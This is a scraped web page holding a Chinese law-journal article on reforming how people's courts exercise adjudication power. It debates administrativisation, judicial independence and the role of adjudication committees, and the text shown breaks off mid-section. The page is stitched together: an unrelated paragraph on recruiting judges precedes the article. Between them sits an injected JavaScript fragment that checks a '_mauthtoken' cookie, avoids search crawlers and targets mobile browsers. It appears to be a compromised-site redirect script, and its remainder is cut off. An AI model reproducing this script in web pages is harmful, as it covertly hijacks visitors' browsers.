当然,从律师、法学专家中招录法官、检察官,在实践中牵涉的问题仍然很多,包括如何将法官、检察官招录从现有公务员统一招录中分离出来;法官、检察官遴选组织怎样构成、如何设立;招录选择应遵循什么标准、依据什么程序;不同层级法院、检察院的法官或检察官招录对象与条件应有怎样的区别;所招录人员的业务职级如何确定;如何更有效地激励优秀律师、法学专家向法官、检察官队伍流动;如何平衡新招录人员与既有法官、检察官的利益关系,形成良性竞争机制;等等。这些问题都需要在实践中由点到面进一步探索。 if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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再论人民法院审判权运行机制的构建

再论人民法院审判权运行机制的构建
作者:顾培东,本文原载《中国法学》2014年第5期 内容提要 人民法院审判权运行机制如何构建,是当前司法改革亟待解决的重大现实问题。对此,各方面在认识上存在着重要分歧,而分歧的背后则潜隐着对我国法院审判工作现实状态的不同判断以及对我国法院改革与发展方向的不同主张和不同期待。为此,本文分别就这些认识上的分歧进行了讨论,明确认为:现实中人民法院审判运行存在着 “行政化”的问题,但影响和制约人民法院审判工作的主要问题并不是“行政化”,而是审判运行秩序的紊乱;一线办案法官的权力与责任应尽可能扩大和强化,但“法官独立”不是我国法院改革与发展的方向;审委会制度需要进一步完善,但总体作用不会减弱,审委会讨论案件也决不应限于“只讨论法律适用”。以此为基础,本文对构建审判运行机制改革的主要工作进行了讨论,并对新机制下人民法院审判运行的图景作出了描述。 关键词 法院改革 审判运行 机制构建 一、引言 2011年,我以S省C市中级法院的相关实践为样本,对人民法院审判权运行机制构建问题进行了探讨和研究,并吁请决策层和学术界关注审判权运行机制构建对于我国司法体制微观基础重构的意义。 ((相关论文参见顾培东:《人民法院内部审判权运行机制构建》,载《法学研究》2011年第4期。))时至今日,司法权运行机制完善已被决策层确定为新一轮司法改革的重要内容,法院审判权运行机制的构建则成为司法权运行机制完善中的重中之重;C市中院亦被最高法院选定为全国法院改革的试点单位。然而,对审判权运行机制究竟如何构建,各方面意见并不一致,各地的试点方案也不尽相同。我认为,对于这样重大的改革事项,意见上的分歧是正常的,试点模式的差异也是必须的,但问题在于,这些分歧与差异背后潜隐着对我国法院审判工作乃至司法制度一些基本问题的不同认识与主张;而对这些基本问题,理论界或实务界并未展开过足够充分的讨论。特别是“去行政化”、“去地方化”等口号式话语的盛行,使得很多人往往忽略了对具体问题和具体实践的深入思考,从而使许多在改革中必将面临的问题以及在改革措施具体实施中所可能引发的矛盾“夹生”地遮掩在某些简单化的判断和结论之中。这种状况无论对决策层的“顶层设计”还是对各级法院的自主创新,都可能带来一些不利影响。有鉴于此,尽管过去在相关论文中已经比较全面地表达了我对审判运行机制构建的主要观点与设想,但仍愿就这一主题进一步阐述我的一些认识,特别是揭明在此问题上的歧见,以期推动相关讨论的深入。当然,受这一段时期改革实践的启发,我对自己先前的某些看法亦有所修正或补充。 二、现实中人民法院审判运行的主要问题或主要缺失究竟是什么 毫无疑问,司法改革的主要目的是为了解决司法实践中存在的主要问题,构建审判运行机制的基本动因也在于消除影响审判权恰当、有效行使的主要缺失。这就首先需要弄清:现实中人民法院审判运行中的主要问题或主要缺失究竟是什么?从这些年发表的相关论文看,学术理论界几乎一致认为,人民法院审判运行的主要问题或缺失在于审判权行使的“行政化”;正因为如此,“去行政化”成为审判运行机制构建乃至于法院改革的基本任务和主要取向。 ((相关研究参见:赵学玲:《审判权去行政化的反思》,载《中国法律评论》2014年第1期;龙宗智、袁坚:《深化改革背景下对司法行政化的遏制》,载《法学研究》2014年第1期;陈光中、龙宗智:《关于深入司法改革若干问题的思考》,载《中国法学》2013年第4期;张泽涛:《法院向人大汇报工作与司法权的行政化》,载《法学评论》2002年第6期;谢佑平、万毅:《司法行政化与司法独立:悖论的司法改革——兼评法官等级制与院长辞职制》,载《江苏社会科学》2003年第1期;陈瑞华:《司法裁判的行政决策模式——对中国法院“司法行政化”现象的重新考察》,载《吉林大学社会科学学报》2008年第4期。))然而,本文以下分析将表明,审判权行使的“行政化”确实是人民法院审判工作中的一个重要弊端,解决“行政化”所带来的一些问题也确实应当成为改革的重要内容,但“行政化”并不是人民法院审判运行的主要问题或主要缺失,至少不是全部问题所在。 1、“行政化”:现状、成因及利弊 首先看“行政化”的现状。何谓“行政化”?虽然这一概念没有恰切、统一的解说,但从各种论述中可以看出,这一概念大体包括两层涵义:一是法院裁判的形成需要经历内部层层审批,亦即实行院、庭长以及审委会审批决定案件制度;二是在案件的层层审批中,实际存在着下级服从上级的关系。不可否认,这种“行政化”现象在我国法院审判工作中有一定的普遍性,但也并非是法院审判运行的全貌。在此方面,需要辨识的至少有这样几点:其一,就总体情况而言,越是级别高的法院,特别是最高法院,由于受理的案件一般都比较重大,“行政化”的情况越突出,而多数基层法院乃至一些中级法院,并非主要依“行政化”的方式决定案件;另一方面,越是受案量较少的基层法院,“行政化”的特征越明显,而受案量较大的基层法院以及一些中级法院,“行政化”的色彩则相对较淡,因为常年面对大量的案件,事实上也不允许经历层层审批的“行政化”程序。其二,即便是在层层把关的“行政化”审判流程中,也并非一定是“下级服从上级”。通常情况下,院、庭长的作用在于“审核”而非“审批”。院、庭长对于合议庭或独任法官的裁判结论有不同意见,往往要求或建议独任法官或合议庭复议;合议庭或独任法官坚持自己意见的,院、庭长可提交或建议提交审委会讨论。实践中,院、庭长直接改变或强制要求合议庭或独任法官改变裁判结论的情况并不多见。其三,院、庭长在对裁判文书审查过程中,如发现问题,一般都会审阅全卷,依靠自己对案卷材料的判断以及合议庭的汇报而形成对案件处理的意见,很少有仅凭审阅裁判文书即改变合议庭或独任法官实体处理结论的情况发生。因此,在院、庭长的“审批”或“审核”过程中,包含有“审”的成份。其四,更需要看到的是,现实中虽然很多法院要求裁判文书须经院、庭长签发,但这种签发主要是出于形式上的审慎以及强化院、庭长管理责任的需要,虽有“审批”之名,并无“审批”之实,绝大多数情况下,裁判的实际决定者仍然是合议庭或独任法官。前述几点表明,对法院审判运行的现状应作具体分析,不应简单地用“行政化”一词概括其全貌。 其次看“行政化”的成因。上世纪70年代末我国司法审判制度恢复后,法院审判的确是按行政化方式进行的。但人民法院“一五改革”后,在“还权于合议庭”的改革取向下,“行政化”的情况有了很大改变。根据最高法院《“一五改革”纲要》的要求,除了法律规定应由审委会讨论决定以及合议庭主动提交审委会讨论的重大疑难案件外,其他案件都由合议庭或独任法官自行裁决。尽管这一要求并未全面落实,但各级法院普遍实行了对合议庭及独任法官的“还权”或“放权”。由于在《“一五改革”纲要》中院、庭长的角色被边缘化,所以,《“二五改革”纲要》在进一步强化合议庭作用的同时,强调院、庭长应更多地参加到合议庭中,负责重大疑难案件的审理。《“三五改革”纲要》虽然强调审判管理,但也没有明确否定《“一五改革”纲要》中确定的合议庭或独任法官的地位。然而,事实上,在“一五改革”的后期,各级法院下放给合议庭的权力又相继不同程度被收回,“行政化”的方式则不同程度地恢复。出现这种反复的原因主要有这样几个方面:一是由于制约监督机制不健全,在普遍放权后,案件审判质量出现了不少问题。为遏止案件审判质量进一步下滑,各级法院又纷纷开始上收权力。二是近10余年来,随着我国各类社会矛盾的加剧,提交给法院的纠纷日益复杂,经济纠纷或一般刑事案件中常常蕴含着阶层间、群体间的社会对抗,司法案件很容易转化为社会问题甚至政治问题,审判中所要综合考量的因素也越来越多,合议庭或独任法官的能力及素质都很难匹配某些类型纠纷解决的要求,即便完全放权于合议庭或独任法官,合议庭或独任法官也仍然会将问题诉诸于院、庭长或审委会,这就迫使院、庭长以及审委会不得不更多地介入到一些案件的实体处理之中。三是近些年法院内、外部各种考核指标体系相继建立并实际运用,各级法院不得不强化对审判过程的管理,而这种管理又不能不体现在对案件实体处理的把关监督之上,因此,考核中的层层责任制很自然地转化为审判运行中的层层把关。总之,这些年,面对内、外部复杂的环境与条件,面对繁重的审判任务与复杂的外部社会的要求,任何法院都无法接受“权力在法官、压力在法院、责任在院长”的格局,这就使得在“一五改革”期间从“窗户”中扔出去的“行政化”方式,近些年却堂皇地从“正门”中走了回来。前述分析表明,当下我国法院审判运行的“行政化”问题,并不是法院院、庭长及审委会权力欲望膨胀的结果,也不是各级法院领导层对所谓“司法客观规律”的故意忽略或罔顾,而很大程度上与法院审判工作的实际状况及实际需求相关。虽然这并不意味着需要对“行政化”方式给予肯定,但如果看不到“行政化”方式的这些成因,势必难以有针对性地解决“行政化”所带来的问题,更难以真正实现“去行政化”的目标。 再次看“行政化”的利弊。作为改革的对象,“行政化”在现实语境中无疑是一个完全负面的概念。当下学术界对“行政化”方式的批评主要集中于:“行政化”方式造成了法院内部“审而不判、判而不审”的状况,而院、庭长及审委会决定案件缺乏“亲历性”,从而违反了司法的客观规律;同时,层层审批延缓了审判的周期,造成一些案件久拖不决;再有,院、庭长权力过大,为院、庭长滥用权力造成了机会,容易滋生司法腐败。学术界对“行政化”的否弃,其实还有一个重要的理由通常没有被揭明:院、庭长与地方党政组织之间的政治半径较短,容易受地方党政组织的影响,因此,如果院、庭长在审判运行中权力过大,不利于法院独立行使审判权。应该说,对“行政化”的这些批评大体是正确的,但仍然需要作具体分析,在此仅需要强调的是,“行政化”方式既有其“弊”的一面,亦有其“利”的一面。无法否认的事实是,院、庭长及审委会的把关和监督,对当下各级法院的审判质量都起到了不可忽略的保证作用,特别是在一些重大疑难案件的处理中,院、庭长以及审委会的正面作用更是不应否定。很多法院的经验表明:一个高素质的分管院长或庭长,能够在很大程度上保证该法院相应类型案件审判的基本质量。这也是“行政化”在现实中“欲去却归”或“既去还留”的原因。 2、人民法院审判运行的主要问题及缺失 在我看来,人民法院审判运行的主要问题及缺失在于审判运行秩序的紊乱。由于长期以来法院内从独任法官、合议庭到副庭长、庭长、副院长、院长以及审委会,各自的职责范围、相互间的权力边界、彼此关系的内容在制度上与实践中都不够明确或统一, ((虽然三次《改革纲要》都有一些要求,但并未落实到制度层面。))并且各主体都具有参与审判活动、影响甚而决定裁判内容的权力依据(独任法官、合议庭及审委会依据于审判权,而院、庭长则依据于审判管理监督权),因此实际运行很大程度上取决于各法院工作习惯及管理风格,甚至取决于相关主体个人的行为偏好和习性。由此带来的问题是:首先,对于特定案件来说,案件裁判究竟由谁说了算不清楚。既可能是独任法官或合议庭直接作出决定,并且不将裁判文书呈报院、庭长而直接签发,又可能是独任法官或合议庭顺从院、庭长的意见,从而使院、庭长的意见主导着裁判的内容。其次,院、庭长是否介入到特定案件的处理不确定。院、庭长对所分管的审判业务,既可以主动且深度介入,又可以被动敷衍,甚至放手不管,是否参与到某一具体案件的处理过程之中,随机性、甚而随意性很大。再次,与前相联系,某一案件在法院内部究竟应当经历什么样的程序或环节亦不明确。某些并非重大疑难的案件可能因为一些偶然性因素而在法院中经历层层评价,延滞很久,而某些确需审慎处理的重大疑难案件则可能由合议庭草率作出裁判。还有,除了审委会外,各主体对于裁判的权力位序实际上也并不十分确定。尽管院、庭长通常具有高于合议庭或独任法官的位势,但合议庭或独任法官坚持已见,不接纳院、庭长意见的情况在实践中也不鲜见。在一定意义上说,各主体的权力既可以说很大,也可以说很小。此外,院、庭长影响案件处理的方式也多种多样,既可以是明示,也可以是暗示,既可以直接参与合议庭讨论,也可以向审判长或承办法官打招呼或倾向性地批转材料等等。前述情况直接导致了三个后果:一是法院内部的审判责任约束松懈,乃至实际瓦解,各主体既不需要对审判过程负责(均有将案件的实际处理推诿给他人的理由和可能),也不需要对裁判结果负责(很多情况下,说不清裁判是如何形成的、体现了谁的意志)。二是审判资源的运用与解决案件的实际需求之间不相匹配和对应。三是为法院内部人员以权谋私和舞弊,办理“人情案”、“金钱案”、“权力案”提供了机会和条件。总之,因法院内各主体职责不清、责任不明、行为失范、权力失控导致的审判运行失序才是当下我国法院审判运行存在的突出问题和主要缺失;有效解决这些问题,确立我国法院审判运行的基本秩序和基本规范也才是审判运行机制构建的主要内容和任务。至于在确立这种秩序过程中,重新配置各主体权力,尤其是将权力重心下移至合议庭或独任法官,当然也很重要,但相对于审判运行秩序的确立来说,其意义仍然是次生的、从属性的。 三、“法官独立”是不是我国法院改革与发展的方向 基于对“行政化”的否弃以及对合议庭或独任法官在审判中作用与地位的强调,在围绕这一轮司法改革的讨论中,“法官独立”的问题再度被一些学者提起,并且有学者把“法官独立”视为我国法院体制与制度改革的基本方向或终极目标。 ((较有代表性的观点体现于陈卫东教授《司法机关依法独立行使职权研究》一文中,该文载《中国法学》2014年第2期。))与此相应,在相关讨论中,普遍存在着褒扬法官(通常指未担任院、庭长职务的普通法官)角色而贬抑院、庭长角色的倾向,语境中也暗含着法官在道德及业务素质上优越于院、庭长的前提性假设。 为避免引起误解,在对这一问题具体讨论之前,必须表明我对此问题的认识与立场:我高度认同扩大独任法官及合议庭在审判运行中的权力,并且认同强化对院、庭长权力及其行使过程监督和制约,通过改革,改变目前法院内部权力配置的格局,但我既不认为“法官独立”是这一轮改革的主要内容或目标,也不认为“法官独立”是我国法院改革与发展的基本方向和终极目标。 一些学者主张或支持“法官独立”的基本理由或者论证“法官独立”正当性的主要理据在于“尊重司法客观规律”;而“法官独立”之所以被认为是“司法的客观规律”,理由又主要在于两方面:一是司法权本质上是一种判断权,而法官(通常指承办法官或合议庭成员)在审判活动中具有“亲历性”,因此,法官、也唯有法官才能对案件事实及法律适用作出正确判断,否则会形成“审者不判,判者不审”的情况。 ((相关研究参见:陈卫东、韩红兴:《以法官独立为核心推动我国法官制度的现代化》,载《人民司法》2002年第2期;王申:《司法行政化管理与法官独立审判》,载《法学》2010年第6期;王德志:《以保障法官独立为核心推进司法改革》,载《法商研究》1999年第1期。))二是“法官独立”是现代法治国家普遍奉行的原则,这种普遍性体现了司法的规律性。我认为,对这两个理由需要作具体分析。 1、关于亲历性及何谓审判之“审”? 关于亲历性的内涵及意义,贺卫方教授的诠释是:“对当事人言辞的判断,对证人所作证词可信性的判断,都离不开判断者对被判断者的‘近距离观察’,而只有这种‘近距离观察’基础上的判断,才更接近真实,也更让人信服”。 ((贺卫方:《中国司法管理制度的两个问题》,载《中国法学》1997年第6期。))陈卫东教授在相关论文中亦引用了这段话作为论据。 ((参见陈卫东:《司法机关依法独立行使职权研究》一文。))不难看出,很多学者所说的“亲历性”,是指法官与诉讼当事人及其他参与人面对面的接触,物理空间上的“近距离观察”。唯有如此,“亲历性”才能成为法官排他地独立行使审判权的理据。然而,无论是对“亲历性”的这种理解,还是把这种“亲历性”作为支持“法官独立”的理据,都经不住实践的检验。理由是:第一,大量的民事、行政审判中,当事人并不直接出庭而由律师代理(代理律师陈述事实与当事人陈述事实的心理状态是完全不一样的),至于在各类诉讼中证人基本不直接出庭作证(而是通过证词作证),更是我国司法审判中的一个普遍现象,而这种情况的存在并未影响法院对相关案件的裁判。由此可见,与当事人或证人“近距离观察”的“亲历性”并非是法院裁判的必要前提或必要条件。第二,审判活动中,大量地存在着书面审理的情况,特别是制度上允许部分案件的二审(作为终审)可以不开庭审理。虽然从趋势上看,法院开庭审理或听证的程序会更广泛地适用,但任何时候都不可能避免“书面审”的情况存在。这也表明,在不少情况下,能够决定案件实体处理或其他诉讼事项的法官,与当事人或其他诉讼参与人之间并没有“近距离观察”的“亲历性”。第三,现代审判早已不是戏剧《十五贯》中况钟审讯娄阿鼠那样依靠对当事人察言观色而断案的场景。在现代信息技术的支撑下,诉讼主张、事实陈述及法庭记录的文字化,纸质材料的电子化,甚至庭审现场的音像化,已成为当今法院审判活动的基本实践,在此条件下,了解案件事实,判断案情完全超越了依靠“五听”(即:辞听、色听、气听、耳听、目听)审案的阶段或水平,因此,把对当事人或其他诉讼参与人“近距离观察”作为当今法官了解案件事实和判断案情的必备要求,无异于以冷兵器思维考量现代战争。 需要指出的是,前述讨论,并不是从根本上否认亲历性对于审判活动的意义,只是不认同把亲历性等同于“面对面接触”、“近距离观察”。我认为,亲历性的正确涵义有两个方面:一是就整个诉讼活动而言,法院应与当事人或(及)其代理人以及其他诉讼参与人有直接接触,尽可能充分地听取各方当事人及每一个诉讼参与人的陈述,任何案件都不能在当事人或(及)代理人以及其他诉讼参与人对整个诉讼过程完全没有直接参与的情况下,法院自行作出裁判(法律规定可以缺席判决的情况除外);二是就法院内部而言,参与案件审判活动的人员(不限于承办法官或合议庭成员)应当尽可能充分地接触案件材料,全面了解案件事实,把自己的判断建立在对案情全面了解之上。事实上,直接参与庭审、阅读案卷材料、观看庭审录像,甚至听取承办法官汇报等,都是了解案件事实和判断案情的有效途径和方式;不能说没有与当事人或证人面对面接触、“近距离观察”,就不可能真实、全面地掌握案情。经验和常识都表明,在很多情况下,即便是依据他人对案情的全面介绍,具有一定法律水准的法律人或法学人也能够对案件的处理形成正确意见。一个有力的例证就是:这些年,不少学者在没有与当事人或证人“近距离观察”的情况下,仍然不妨碍其理直气壮、义正辞严地对一些热点司法案件的处理发表评论并表明自己的意见。当然,就一般情况而言,越是与案件当事人及诉讼参与人有更多的接触,越是更多地接触案件材料,就越容易全面了解案情,在案件处理上就应有更大的发言权;扩大合议庭或独任法官在审判中的权力,突出合议庭或独任法官在审判工作中作用和地位的改革取向,也正是在此意义上提出并成立的,但不能因此而把狭义上的所谓“亲历性”作为法官独立行权的依据,更不能把这种“亲历性”作为排斥法院内其他主体对审判过程不同形式的参与,并作为倡导“法官独立”的理由。 进一步看,对审判之“审”也需要加以辨析。与“亲历性”、“法官独立”等主张相一致。在很多学者语境中的审判之“审”,都是指“庭审”。但前面的分析和讨论已经表明,如果把“审”的目的和作用定位于了解案件事实和判断案情的话,那么,庭审固然是“审”的主要环节和方式,而阅读案卷材料、听取承办法官汇报以及对案件进行讨论等围绕了解案情所进行的一切活动,都应当被看作“审”的过程和“审”的方式。因此,对“审理者裁判,裁判者负责”这句话或许应当作这样理解:一方面,在法院与外部的关系上,法院是案件的审理者,只有法院才能对案件进行审理和作出裁判,并对裁判负责;另一方面,在法院内部关系中,各主体对案件裁判的话语权必须建立在对案件事实进行审理(当然不限于“庭审”)的基础之上,并且应对其影响或决定裁判的行为负责。至于参加“审理”过程的法院内各主体的权力具体如何配置,当属另一个层面的问题。在此,我仅想表明的是,不应当把“审理”狭窄地限定于“庭审”,并据此引申或推导出“没有主持或参与庭审,对案件裁判就没有参与权或发言权”,进而“法官必须独立”的结论。 2、“法官独立”原则为什么不适合我国国情 不可否认,“法官独立”确实是当代西方各国(主要是英美法系国家)普遍实行的原则,但这一原则与相关国家政治制度、司法传统以及其他社会条件是密切联系的。因此,不能简单地把这种具有一定普遍性的情况看作“司法客观规律”使然。在我国,姑且不论我国制度上明确规定依法独立行使审判权的主体是法院,而不是法官,因而“法官独立”与我国宪法规定不符,即便撇开这一制度性因素不论,“法官独立”的原则或制度安排也与我国国情不相适应。理由是,第一,从法官数量看。我国法院工作人员有33万余人,其中具有法官资格的近20万人,即使剔除在法院从事其他工作的法官,从事一线审判工作的法官亦有约14万人。 ((数据来源:《我国法官人数近20万人》,载《京华时报》2013年7月26日第4版。))从世界范围看,实行法官独立原则的国家,无一不是走法官高度精英化路线。而高度精英化必然是法官队伍的小众化。可以说,高度精英化、小众化是法官独立的必要前提。因此,依我国法官队伍的这样规模,根本无法保证法官高度精英化。在这一轮改革中,亦有人建议削减我国法官总量,同时,对法官分类管理也可以把直接从事一线审判工作的法官与法院内从事其他工作的法官区分开来,但无论怎样削减,也无论是怎样区分,不断增加的案件受理量对法官数量的“刚需”是无法改变的。这就意味着我国法官队伍的总体规模不可能大幅度减缩。目前,一些试点法院试行选任部分优秀法官作为审判长或主审法官制度,其中蕴含中突出“精英”地位和作用的意味,并且能够在一定程度上强化审判长或主审法官的责任,但这一制度仍然不足以为“法官独立”提供必要的支撑,其实际意义更多是进一步明确法院内办案的基础组织形式和责任单元,并且在院、庭长之外,创设一个新的职级位阶,增加对法官的激励资源。第二,从法官业务素质看。与我国恢复法治建设时间不长的客观事实直接相关,我国法官的业务素质总体上不能说很高。基于审判工作的急迫需要,许多法学院学生刚从学校毕业不久便担任法官,从事一线审判工作。有些非法律专业的学生,经过一段时间的突击学习即能通过司法考试,进而又招入法院充任法官。很多法官在专业知识、社会经验、文字与语言表述能力等诸多方面与法官职业的基本要求都有较大差距,不具备独立承担审判任务的能力。不仅如此,由于我国并未普遍实行上级法院法官从下级法院优秀法官中遴选的制度或方式,因此,不同层级法院法官的业务素质并未充分显现出法院层级监督把关所应有的差异,上级法院法官业务水平低于下级法院法官的情况并不鲜见。这也从另一个方面限制了法官独立的可能。第三,从法官队伍的职业操守看。这些年法院系统所暴露出来的违法违纪案件,多少可以说明我国法官队伍的职业操守尚不够理想。或许有人会争辩:法院违法违纪问题的存在正是院、庭长权力过大、法官未能独立的结果。不能否认,现实中,法院违法违纪案件相当程度上与院、庭长的权力不受制约相关,但问题在于,如果将权力放归于普通法官,并且其权力不受他人制约(因为要保证其“独立”),普通法官就不会出现违法违纪的问题吗?事实上,随着司法审判在全社会资源分配中的作用越来越大,社会上各种势力利用多种手段争夺司法资源(甚至争夺能够影响司法的资源)、谋求利己裁判的现象也愈演愈烈,司法人员始终处于各种社会势力的争夺与包围之中。在决定裁判的权力集中于院、庭长的情况下,社会势力争夺与包围的对象会是院、庭长;而当决定裁判的权力集中在普通法官时,争夺和包围的对象就会是普通法官。如果说院、庭长不能抵御这种争夺和包围,那么,我们也不能指望普通法官具备这种抵御能力。在职业操守方面,以“普通法官优越于院、庭长”作为假设,既不符合实际(因为院、庭长也是法官,并且通常是较为优秀的法官),更不符合逻辑。需要提及的是,陈卫东教授在论证“法官独立”时认为,“法官独立”不是无限制的恣意,而是必须以“法律为限”,法律能够成为“套在法官头上的‘紧箍咒’”。 ((陈卫东:《司法机关依法独立行使职权研究》。))卫东教授这段话没有错,但说了等于没说。因为法官应否独立的关键并不在于法官是否应当依法而是如何保证其依法;如果把“法官独立”的保证仅仅建立在有“依法”两个字的约束之上,这种保证显然是不可靠的。这里之所以要提到卫东教授这段话,其实是要说明,在目前有关我国法院权力配置的讨论中,所有主张“法官独立”的学者,都没有(或无法)说明法官的权力还需不需要监督制约以及如何监督制约。第四,从法官的职业保障看。尽管提高法官职业保障是这一轮司法改革的重要内容,加强司法职业化建设也是我国司法改革与发展的一个方向,但对我国司法职业保障的期待不应过高,更恰切地说,职业保障的加强和改善很难达到足以支撑“法官独立”的程度和水平。这是因为,无论是否把法官从公务员系列中单独列出实行分类管理,都不可能期望给予所有法官很高的职级和物质待遇,庞大的法官(还有检察官)队伍与有限职级和物质资源之间的紧张关系,以及国家机关工作人员(法官可以脱离公务员序列,但不可能改变其作为国家机关工作人员的身份)之间待遇的相互参照与平衡,决定了法官职业待遇的提升空间是十分有限的。总体上说,职业保障的强化,能够增加一些对法官的激励,但远不可能使我国法官达到西方国家法官高薪厚禄的水平。第五,从文化观念来看,我国是崇尚平均主义与集体主义文化的国家,因此,无论是主流意识形态还是人们的社会观念,都不太倾向于给予某种精英化的社会职业以特殊的社会地位,并且越是精英化的职业,往往越是要低调地存在于社会之中。不仅如此,我国司法制度及司法文化所突出的是机构集体而非个人的作用,个人在司法活动中缺少鲜明的辨识度,个人的司法见解和个人的作为遮盖在“本院认为”的结论以及司法机构的印章的背后,司法人员很难在司法活动中形成个人尊荣感。不能说这些文化观念都是正确的、积极的,但却是我们在思考是否实行“法官独立”原则时所不能忽略的。第六,从一些国家的经验教训看。前苏东一些国家社会制度变化后,纷纷仿效西方国家,实行了法官独立原则,但由于缺少整体制度及其他社会条件的配套,缺少法官独立的文化传统,不同程度出现了司法失控、法官失控的情况,以至于老百姓抱怨法官太过独立, ((参见弗兰克、埃黙特:《法官独立:一个在中东欧经常被误解的概念》,魏磊杰译,载简玛利亚·阿雅尼、魏磊杰编《转型时期的法律变革与法律文化》,魏磊杰、彭小龙译,清华大学出版社2011年版,第322-329页。))使得“谁来管法官”成为一个社会问题。应当看到,前面所分析的不支撑在我国实行“法官独立”的因素中,有些是可以变化和改变的,有些则不可变化或不能改变。因此,无论是从当下还是从长远看,“法官独立”都不应成为我国法院改革与发展的方向和目标。我认为,就法院的权力配置而言,人民法院改革与发展的方向和目标应当是:在充分发挥独任法官和合议庭在审判中的基础和主导作用的前提下,统筹综合、且恰当有效地运用法院整体的审判资源去实现法院所面临的各项审判任务。 一些学者之所以主张在我国实行“法官独立”,还有两个被忽略或没有被说破的原因:一是很多学者往往自觉不自觉地把“法官”作为一个非人格化的抽象符号,而不是实际生活中真实具体的个人,把“公正无私、聪明睿智”作为对法官品性及能力的既定想象,并以此作为认识和论证问题的前提,由此形成了对法官作用的误判。二是部分学者的潜在意识认为,普通法官与地方党政组织的距离较远,因而受外部因素的影响较小,实行“法官独立”会有助于排拒地方党政组织的不当干预。前面所提到的褒扬普通法官而贬抑院、庭长的倾向也主要源于这些认识。对于前者,用非人格化的抽象符号代替真实的个人,显然会谬之千里。实际生活中的法官,既有七情六欲,也可能聪颖或愚钝;既有人性的优点,也有人性之积弱。“和任何其他人一样,一位法官也是由有限知识和能力组成的一个选择有机体”。 ((理查德·波斯纳:《法官如何思考》,苏力译,北京大学出版社2009年版,第110页。))把法官都想象成“公正无私、聪明睿智”,那么,诚如美国现实主义法学代表人物弗兰克所问:“法官是人吗?” ((参见杰罗姆·弗兰克:《初审法院——美国司法中的神话与现实》,赵承寿译,中国政法大学出版社2007年版,第十章。))对于后者,如前所述,外部势力的影响所向,关键看裁判的权力在谁手中,即便在“法官独立”的情况下地方党政组织的影响或许弱一些,但其他社会势力的影响和干扰也未必就能够排除。总之,对在我国国情下是否实行“法官独立”原则,应当持极为审慎的态度。 四、如何看待审委会的地位和作用 在有关法院改革的讨论中,审委会的地位与作用也成为各方面关注的焦点之一。总体上说,学术界对审委会制度的批评和抱怨较多,基本理由是审委会讨论决定案件势必会造成“审而不判、判而不审”。 ((相关研究参见:路昌其:《现行审委会制度的改革与完善》,载《法治论丛》2009年第5期;何艳芳等:《审判委员会制度的反思——从实践层面探析》,载《前沿》2004年第8期;何艳芳、余茂玉:《审委会制度之革新探析》,载《社会纵横》2004年第6期;刘传刚:《论审判委员会的职能》,载《行政与法》2003年第8期;黄金波:《审判委员会改革的有关问题探析》,载《法律适用》1999年第8期;陈迎新:《我国审判委员会制度反思》,载《西南交通大学学报》(社会科学版)2003年第3期。))因此,对审委会制度的改革,一种激进的主张是取消审委会或取消审委会讨论案件的职能;另一种是相对和缓的主张是减缩审委会讨论案件的范围,同时,审委会只讨论法律适用问题,而不讨论案件事实问题。 